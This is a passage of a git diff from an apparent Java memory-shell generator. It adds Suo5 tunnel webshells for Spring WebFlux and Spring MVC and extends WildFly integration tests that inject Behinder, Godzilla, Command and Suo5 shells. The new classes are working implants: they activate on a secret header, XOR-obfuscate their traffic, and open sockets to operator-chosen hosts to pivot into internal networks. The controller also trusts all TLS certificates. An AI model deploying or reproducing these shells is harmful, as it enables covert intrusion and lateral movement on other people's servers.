ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index db7cf147..709e5868 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -46,12 +46,15 @@ public class Wildfly23ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index 7286a973..e3476e7a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -46,12 +46,15 @@ public class Wildfly30ContainerTest { arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index cba8c735..74ec3b49 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -52,18 +52,24 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar) diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index a699b8d9..99859605 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -2,6 +2,9 @@ group = 'com.reajason.javaweb' version = rootProject.version java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } sourceCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8 } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/suo5/Suo5WebFilter.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/suo5/Suo5WebFilter.java new file mode 100644 index 00000000..5461c205 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/suo5/Suo5WebFilter.java @@ -0,0 +1,448 @@ +package com.reajason.javaweb.memshell.springwebflux.suo5; + +import io.netty.channel.ChannelOption; +import org.springframework.core.io.buffer.DataBuffer; +import org.springframework.core.io.buffer.DataBufferUtils; +import org.springframework.http.MediaType; +import org.springframework.http.server.reactive.ServerHttpRequest; +import org.springframework.http.server.reactive.ServerHttpResponse; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import reactor.core.publisher.Flux; +import reactor.core.publisher.Mono; +import reactor.core.publisher.Sinks; +import reactor.core.scheduler.Schedulers; +import reactor.netty.Connection; +import reactor.netty.NettyOutbound; +import reactor.netty.tcp.TcpClient; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.BufferOverflowException; +import java.nio.ByteBuffer; +import java.util.HashMap; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; + +/** + * @author ReaJason + */ +public class Suo5WebFilter implements WebFilter { + public static HashMap ctx = new HashMap(); + public static String headerName; + public static String headerValue; + + public Suo5WebFilter() { + } + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + ServerHttpRequest request = exchange.getRequest(); + ServerHttpResponse response = exchange.getResponse(); + String value = exchange.getRequest().getHeaders().getFirst(headerName); + if (value == null || !value.contains(headerValue)) { + return chain.filter(exchange); + } + + MediaType contentType = request.getHeaders().getContentType(); + if (contentType == null) { + return chain.filter(exchange); + } + + if (contentType.toString().equals("application/plain")) { + return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then(); + } + try { + if (contentType.toString().equals("application/octet-stream")) { + return newfullProxy(request, response); + } else { + return newHalfProxy(request, response); + } + } catch (Exception ignored) { + } + return Mono.empty(); + } + + private Mono newfullProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception { + response.getHeaders().set("X-Accel-Buffering", "no"); + response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM); + Sinks.Many sink = Sinks.many().unicast().onBackpressureBuffer(); + Flux> dataMaps = unmarshal(request.getBody()); + AtomicBoolean handshake = new AtomicBoolean(false); + AtomicReference connection = new AtomicReference<>(null); + AtomicReference out = new AtomicReference<>(null); + + dataMaps.doOnComplete(sink::tryEmitComplete) + .mapNotNull(dataMap -> { + if (!handshake.get()) { + byte[] ac = dataMap.get("ac"); + if (ac.length != 1 || ac[0] != 0x00) { + sink.tryEmitComplete(); + return null; + } + handshake.set(true); + + String host = new String(dataMap.get("h")); + int port = Integer.parseInt(new String(dataMap.get("p"))); + if (port == 0) { + InetSocketAddress addr = request.getLocalAddress(); + if (addr != null) { + host = addr.getHostString(); + port = addr.getPort(); + } + } + + try { + TcpClient client = TcpClient.create() + .host(host).port(port) + .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000) + .doOnConnected(c -> { + connection.set(c); + out.set(c.outbound()); + sink.tryEmitNext(marshal(newStatus((byte) 0x00))); + }).doOnDisconnected(s -> { + sink.tryEmitComplete(); + }).handle((input, output) -> input.receive() + .asByteArray() + .flatMap(s -> { + sink.tryEmitNext(marshal(newData(s))); + return Mono.empty(); + })); + client.connect().subscribe(null, (e) -> { + sink.tryEmitNext(marshal(newStatus((byte) 0x01))); + sink.tryEmitComplete(); + }); + } catch (Exception e) { + if (connection.get() != null && !connection.get().isDisposed()) { + connection.get().dispose(); + } + sink.tryEmitNext(marshal(newStatus((byte) 0x01))); + sink.tryEmitComplete(); + } + } else { + byte[] action = dataMap.get("ac"); + + try { + if (action == null || action.length != 1 || action[0] == 0x02) { + throw new RuntimeException("remove"); + } else if (action[0] == 0x01) { + byte[] data = dataMap.get("dt"); + if (data.length != 0) { + out.get().sendByteArray(Mono.just(data)).then().subscribe(); + } + } + } catch (Exception e) { + if (connection.get() != null && !connection.get().isDisposed()) { + connection.get().dispose(); + } + sink.tryEmitComplete(); + } + } + return null; + }).subscribeOn(Schedulers.boundedElastic()).subscribe(); + return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then(); + } + + private Mono newHalfProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception { + /* + EmitterProcessor processor = EmitterProcessor.create(); + FluxSink sink = processor.serialize().sink(); + */ + + response.getHeaders().set("X-Accel-Buffering", "no"); + response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM); + Sinks.Many sink = Sinks.many().unicast().onBackpressureBuffer(); + Flux> dataMaps = unmarshal(request.getBody()); + dataMaps.next() + .subscribeOn(Schedulers.boundedElastic()) + .subscribe((dataMap -> { + if (dataMap == null) { + sink.tryEmitComplete(); + return; + } + String clientId = new String(dataMap.get("id")); + byte[] actionData = dataMap.get("ac"); + if (actionData.length != 1) { + sink.tryEmitComplete(); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actionData[0]; + if (action == 0x02) { + Object[] obj = (Object[]) this.remove(clientId); + if (obj != null) { + Connection conn = (Connection) obj[0]; + conn.dispose(); + } + sink.tryEmitComplete(); + return; + } else if (action == 0x01) { + Object[] obj = (Object[]) this.get(clientId); + if (obj == null) { + sink.tryEmitNext(marshal(newDel())); + } else { + byte[] data = dataMap.get("dt"); + if (data.length != 0) { + ((NettyOutbound) obj[1]).sendByteArray(Mono.just(data)) + .then() + .subscribeOn(Schedulers.boundedElastic()) + .subscribe(); + } + } + sink.tryEmitComplete(); + return; + } else if (action != 0x00) { + sink.tryEmitComplete(); + return; + } + + // 0x00 create new tunnel + String host = new String(dataMap.get("h")); + int port = Integer.parseInt(new String(dataMap.get("p"))); + if (port == 0) { + InetSocketAddress addr = request.getLocalAddress(); + if (addr != null) { + host = addr.getHostString(); + port = addr.getPort(); + } + } + try { + TcpClient client = TcpClient.create() + .host(host).port(port) + .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000) + .doOnConnected(c -> { + this.put(clientId, new Object[]{c, c.outbound()}); + sink.tryEmitNext(marshal(newStatus((byte) 0x00))); + }).doOnDisconnected(s -> { + this.remove(clientId); + sink.tryEmitComplete(); + }); + client.connect() + .subscribeOn(Schedulers.boundedElastic()) + .subscribe(conn -> { + conn.inbound() + .receive() + .asByteArray() + .flatMap(s -> { + sink.tryEmitNext(marshal(newData(s))); + return Mono.empty(); + }).then().subscribe(); + }, (err) -> { + sink.tryEmitNext(marshal(newStatus((byte) 0x01))); + sink.tryEmitComplete(); + }); + } catch (Exception e) { + } + })); + return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then(); + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | ((bytes[1] & 0xFF) << 16) | ((bytes[2] & 0xFF) << 8) | ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) { + try { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + private Flux> unmarshal(Flux inFlux) { + final ByteBuffer[] buffers = {ByteBuffer.allocate(2048)}; + return Flux.create(sink -> { + // onErrorComplete is too new to use + inFlux.doOnComplete(sink::complete) + .subscribeOn(Schedulers.boundedElastic()) + .subscribe(dataBuffer -> { + try { + ByteBuffer buffer = buffers[0]; + ByteBuffer byteBuffer = dataBuffer.asByteBuffer().asReadOnlyBuffer(); + while (byteBuffer.hasRemaining()) { + byte b = byteBuffer.get(); + try { + buffer.put(b); + } catch (BufferOverflowException e) { + ByteBuffer newBuffer = ByteBuffer.allocate(buffer.capacity() * 2); + buffer.flip(); + newBuffer.put(buffer); + buffer = newBuffer; + buffers[0] = newBuffer; + buffer.put(b); + } + buffer.flip(); + if (isCompleteMessage(buffer)) { + HashMap result = processCompleteMessage(buffer); + sink.next(result); + buffer.compact(); + } else { + buffer.position(buffer.limit()); + buffer.limit(buffer.capacity()); + } + } + } catch (Exception e) { + sink.complete(); + } finally { + DataBufferUtils.release(dataBuffer); + } + }, (e) -> { + sink.complete(); + }); + }); + } + + private boolean isCompleteMessage(ByteBuffer buffer) { + if (buffer.remaining() < 5) { + return false; // 不足以读取消息头 + } + int len = buffer.getInt(buffer.position()); // 读取长度但不移动position + return buffer.remaining() >= 5 + len; // 检查是否有足够的数据 + } + + private static int MAX_LEN = 1024 * 1024 * 32; + + private HashMap processCompleteMessage(ByteBuffer buffer) throws Exception { + int len = buffer.getInt(); + int x = buffer.get(); + if (len > MAX_LEN) { + throw new IOException("invalid len"); + } + + byte[] bs = new byte[len]; + buffer.get(bs); + + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + + HashMap m = new HashMap<>(); + int i = 0; + while (i < bs.length - 1) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + byte[] keyBytes = copyOfRange(bs, i, i + kLen); + String key = new String(keyBytes); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + byte[] vLenBytes = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(vLenBytes); + i += 4; + + if (vLen < 0 || i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception { + Field f; + if (superClass) { + f = obj.getClass().getSuperclass().getDeclaredField(fieldName); + } else { + f = obj.getClass().getDeclaredField(fieldName); + } + f.setAccessible(true); + return f.get(obj); + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5ControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5ControllerHandler.java new file mode 100644 index 00000000..040d8b4d --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5ControllerHandler.java @@ -0,0 +1,567 @@ +package com.reajason.javaweb.memshell.springwebmvc.suo5; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + + public Suo5ControllerHandler() { + } + + public Suo5ControllerHandler(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + return null; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return null; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5ControllerHandler p = new Suo5ControllerHandler(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + 